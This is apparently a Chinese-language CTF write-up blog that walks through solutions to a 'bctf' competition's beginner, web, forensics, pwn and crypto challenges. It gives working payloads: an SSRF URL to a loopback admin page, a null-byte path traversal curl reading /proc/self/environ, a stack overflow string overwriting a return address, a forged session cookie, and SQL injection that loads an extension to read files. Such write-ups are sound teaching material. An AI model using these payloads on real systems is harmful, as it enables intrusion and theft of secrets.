Beginner
这场比赛比较照顾新手所以专门设置了Beginner的部分。
1985

1 | Hey man, I wrote you that flag printer you asked for: |
首先通过begin 755 FLGPRNTR.COM ... end判断出这段内容是uuencode过的二进制内容。反引号在uuencode里代表这一行的长度是 0,所以代码里把它单独当成空块处理,拼起来就得到真正的FLGPRNTR.COM的字节序列。
还原出来的是一个.COM 小程序:
1 | ; SI = 001Ch 指向密文 |
用python模拟一下即可:
1 | import binascii |
Augury

1 | import hashlib |
仔细阅读代码可以发现它是这样加密文件的:
- 将输入的密码作为seed生成一个随机数,然后只取其前4个字节;
- 将这4个字节与文件的前4个字节进行异或;
- 利用LCG(线性同余方法)更新这4个字节(生成新的4字节);
- 然后与文件的后续的4个字节进行异或;
- 以此类推…
也就是说只要我们知晓seed,那么我们就可以正常还原文件内容。
但实际上这里有个漏洞,即我们只要能知道第一次生成的随机数的前4个字节(不一定需要知道具体的seed),我们便能还原后续的密码流并且还原加密文件。
连接服务器可以看到里面已经有一份已经被加密过的.png文件:

众所周知,完整的.png文件的开头一定是:
1 | from pathlib import Path |
最后便能得到:

(我也不知道图片里的是谁。)
Cosmonaut

1 | Cosmonauts run their programs everywhere and all at once. |

Linux上:

1 | Cosmonauts run their programs everywhere and all at once. |
FreeBSD上:

1 | Cosmonauts run their programs everywhere and all at once. |
成功拿到完整flag:
1 | bctf{4_7ru3_c05m0p0l174n_c0nn353ur_kn0w5_n0_b0und5} |
ebg13

通过观察这道题的名字以及这段加密内容不难知道这道题跟rot13有关。

看一眼网页:

网页的主要逻辑在给的server.js文件里:
1 | import Fastify from 'fastify'; |
可以看到最后那里,只要输入符合要求的本地回环网址便可以得到flag。
所以说直接输入1
http://127.0.0.1:3000/admin
便可以拿到加密后的flag:
1 | Uryyb frys! Gur synt vf opgs{jung_unccraf_vs_v_hfr_guvf_jrofvgr_ba_vgfrys}. |
解密一下便是:

1 | Hello self! The flag is bctf{what_happens_if_i_use_this_website_on_itself}. |
或者输入
1 | https://ebg13.challs.pwnoh.io/ebj13?url=http://127.0.0.1:3000/admin |
可以直接在网站上拿到解密后的内容:
1 | Hello self! The flag is bctf{what_happens_if_i_use_this_website_on_itself}. |
hexv

由于没有给任何附件,所以先连上看看:

我们可以看到print_flag的地址以及stack上当前的内容。所以思路大概率就是尝试将返回地址修改成print_flag的地址。
经过多次尝试发现红色的部分是stack canary,而青色的部分是返回地址。所以我们只需要输入(注意保持stack canary的部分不变)
1 | str 41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414100e1e1c6d8edca3d0000000000000000e932e03913560000 |
再输入quit便可以拿到flag

1 | bctf{sur3_h0Pe_th1S_r3nderED_PR0pErly} |
Mind Boggle

1 | -[----->+<]>++.++++.---.[->++++++<]>.[---->+++<]>+.-[--->++++<]>+.>-[----->+<]>.---.+++++.++++++++++++.-----------.[->++++++<]>+.--------------.---.-.---.++++++.---.+++.+++++++++++.-------------.++.+..-.----.++...-[--->++++<]>+.-[------>+<]>..--.-[--->++++<]>+.>-[----->+<]>.---.++++++.+..++++++++++.------------.+++.-----.-.+++++..----.---.++++++.-..++.--.+.-.--.+++.---..--.++.++++++.----..+.---.+++.+++++++++++.-------------.++.+..-.----.++...-[--->++++<]>+.-[------>+<]>...--..+++.-.++.----.++.-.+++.-----.---.+++++.+.+.--..++++.------..+.+++++++++++++.>-[----->+<]>.++...-.++++.---.----.++++++.+.----.-[--->++++<]>.[---->+++<]>+.+.--.++.--.++++++. |
不难发现这是brainfuck,所以随便找个在线编译的网站即可:

得到
1 | 596D4E305A6E7430636A467762444E664E30677A583277306557565363313955636A467762444E66644768465830567559334A35554851784D453539 |
再解码一下即可:

1 | bctf{tr1pl3_7H3_l4yeRs_Tr1pl3_thE_EncryPt10N} |
Ramesses

main文件:
1 | from flask import Flask, render_template, request, make_response, redirect, url_for |
随便注册个账号先登录进去:

可以看到有个session cookie。
解码一下:

将is_pharaoh的false改成true,任何将原本的cookie修改成新的这个:

再刷新网页便可以直接看到flag:
1 | bctf{s0_17_w45_wr177en_50_1t_w45_d0n3} |
The Professor’s Files

这道题会拿到一份docx文件:

没有什么特殊的内容。
想到docx文件本身就算zip的格式,所以我们将文件结尾修改成zip文件并解压它,之后便能在里面的theme1.xml里找到flag:
1 |
|
1 | bctf{docx_is_zip} |
Viewer

1 |
|
不难发现buffer overflow的漏洞:
1 | char input[10]; |
所以我们直接越界写入将admin修改成1即可:
1 | from pwn import * |
Web
Awklet

首先注意到网站会把我们输入的font_name和 .txt 直接拼接。并且自带的 urldecode() 会把 %00 还原到实际字节流。所以在底层文件打开(getline < filename → fopen())时,路径里的 \x00 被视为字符串终止,从而把后缀 .txt 截掉。
也就是说我们可以读取任意文件,比如说传 font=/etc/passwd%00 实际打开的是 /etc/passwd。
并且由于读到的文件会被当作“字体”,按照 7 行 = 1 块 缓存在数组里;请求参数 name 的字符编码(从 ASCII 32 起)选择第几块输出。所以我们可以稳定地按块泄露任意文件内容。
最简单的方法:
1 | └─$ curl -s 'https://awklet.challs.pwnoh.io/cgi-bin/awklet.awk?font=/proc/self/environ%00&name=%20' \ |
访问这个 URL 时,发生的是这几步——
1. Apache 作为 CGI 启动 awk 脚本
相当于执行了(由 Apache 发起,不是你能下命令):
1 | /bin/awk -f /usr/lib/cgi-bin/awklet.awk |
并给它一堆环境变量,其中最关键的是:
1 | QUERY_STRING="font=/proc/self/environ%00&name=%20" |
2. awk 脚本解析参数并做 NUL 截断
脚本把 %00 还原成真实的 \x00,于是:
1 | font_name = "/proc/self/environ\0" |
底层 getline < filename 调用文件打开函数时,\0 会截断后面的 .txt,于是实际打开的是:
1 | /proc/self/environ |
3. awk 用 getline 读文件,不是跑外部命令
核心相当于(伪代码):
1 | while ((getline line < "/proc/self/environ") > 0) { |
然后根据 name=%20(空格,ASCII 32,对应第 1 块)把前 7 行打印出来,并带上 CGI 头:
1 | Status: 200 OK |
如果用“系统调用”视角来比喻,大概就是:
1 | execve("/bin/awk", ["/bin/awk","-f","/usr/lib/cgi-bin/awklet.awk"], ENV) |
所以,这个 URL 的效果等价于让 CGI 进程自己打开并读取 /proc/self/environ,并把其中前 7 行通过 HTTP 响应回显出来——没有额外的外部命令被执行。
BIG CHUNGUS


1 | import express from "express"; |
注意到这里的判断条件:
1 | if (req.query.username.length > 0xB16_C4A6A5) |
0xB16_C4A6A5 对应的十进制数是47626626725。我们只需要让我们输入的名字的长度大于这个数即可。但直接输入那么长的名字肯定不现实,所以我们可以直接给设置一个length属性。所以我们直接访问:
1 | https://big-chungus.challs.pwnoh.io/?username[length]=47626626726 |
即可看到flag:


1 | bctf{b16_chun6u5_w45_n3v3r_7h15_b16} |
成功后的这个页面它还一直在晃,我说实话这真的有点精神污染了…
Packages

1 | import sqlite3 |
不难发现这道题是需要SQL injection。但是由于SQL本身的功能是不支持读取flag.txt文件的,所以需要先加载额外的extension,才能进行读取操作。
简单测试一下:
1 | a" UNION SELECT 'a','a','a','a' -- |

按顺序依次尝试(在Distro栏输入以下)以下命令便可以拿到flag:
1. 利用load_extension来加载扩展:
1 | a" UNION SELECT 'a','a',CAST(load_extension('/sqlite/ext/misc/fileio.so') AS TEXT),'a' -- |

2. 利用扩展函数读 flag:
1 | a" UNION SELECT 'a','a',readfile('/app/flag.txt'),'a' -- |

1 | bctf{y0uv3_g0t_4n_apt17ud3_f0r_7h15} |
Forensics
Bugle

这道题我们会拿到一个mp3音频。仔细听(这个是重点,因为它吹的长短音不是很明显,所以主要靠耳朵听),并且用音频解析软件打开它来做更进一步的判断(主要是判断断点),就会得到摩斯密码:

1 | _ _ | _ _ _ | ._. | ... | . | ._ | ._.. | ._.. | ._ | ._.. | _ _ _ | _. | _ _ . |
所以flag就是:
1 | bctf{morseallalong} |
Big Data Analysis

这道题可以直接用 GitHub Archive 的 BigQuery 公共数据集 来查。这是专门存 GitHub 事件流(包括 CreateEvent)的数据库。
根据GitHub Archive官方页学习怎么在 BigQuery 里打开数据集。:https://www.gharchive.org/
然后使用这个SQL语句查询:
1 | SELECT COUNT(DISTINCT repo.name) AS uniq_repos |

1 | bctf{63421480} |
Pwn
Character assassination

1 |
|
不难发现这里没有对我们输入的数字进行管控,所以我们可以直接越界一点一点读取flag的内容。在IDA里可以发现flag和upper在data里的位置非常靠近:


所以输入计算好的偏移数即可:
1 | from pwn import * |
Crypto
cube cipher

1 |
|
1 | # Cube Cipher |
18 19 20
21 22 23
24 25 26
27 28 29 00 01 02 09 10 11
30 31 32 03 04 05 12 13 14
33 34 35 06 07 08 15 16 17
36 37 38
39 40 41
42 43 44
45 46 47
48 49 50
51 52 53
1
2
3
4
3. The cube is folded, shuffled according to a pre-selected "algorithm", and unwraveled into a new stream.
Someone who knows the algorithm can then reverse this by applying it in reverse.
这道题代码太长了懒得看,直接扔GPT一把梭了。
1 | #!/usr/bin/env python3 |
Clandescriptorius

1 | from fastapi import FastAPI, HTTPException |
懒得写WP了,先把代码仍这里。
1 | import requests, binascii |